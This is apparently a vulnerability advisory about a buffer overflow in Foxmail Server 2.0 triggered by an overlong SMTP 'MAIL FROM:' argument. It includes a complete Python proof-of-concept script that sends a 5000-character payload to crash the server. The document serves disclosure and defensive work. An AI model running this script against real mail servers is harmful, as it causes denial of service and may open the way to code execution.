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Multiple Vulnerabilities in Foxmail Server
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SUMMARY
" <http://www.foxmail.com.cn/english/english_3.htm> Foxmail Server is the
mail server software developed and owned by Boda Internet Technologies
Co., Ltd, inheriting the features of ease of use and user -friendly of
Foxmail client software."
Multiple vulnerabilities were found in Foxmail server , which can be
exploited by malicious people to crash the server and maybe compromise a
vulnerable machine.
DETAILS
Vulnerable Systems:
* Foxmail server for Windows version 2.0
The vulnerabilities are caused due to boundary errors in the handling of
the "MAIL FROM:" commands. A malicious person can exploit this by
supplying a long, specially crafted argument to the vulnerable commands,
which will result in a buffer overflow. Successful exploitation will cause
a DOS and might allow execution of arbitrary code with SYSTEM privileges.
Proof of Concept:
#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt
def usage():
print "Usage: foxserver.py -h host -p port"
sys.exit(0)
if __name__ == '__main__':
try:
opts, args = getopt.getopt(sys.argv[1:], "h:p:")
except getopt.GetoptError, msg:
print msg
usage()
for o,a in opts:
if o in ["-h"]:
host = a
if o in ["-p"]:
port = int(a)
evilbuf = "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
evilbuf += "RCPT-TO: postmaster@company.mailDATA" + "\r\n"
evilbuf += "Message-ID: 123" + "\r\n"
evilbuf += "ASDF" + "\r\n"
evilbuf += "." + "\r\n"
evilbuf += "QUIT" + "\r\n"
try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect((host, port))
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send("HELO localhost\r\n")
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send(evilbuf)
except socket.error, msg:
print msg
sockfd.close()
ADDITIONAL INFORMATION
The information has been provided by <mailto:oyxin@segfault.cn>
(Fortinet, inc) xouyang.
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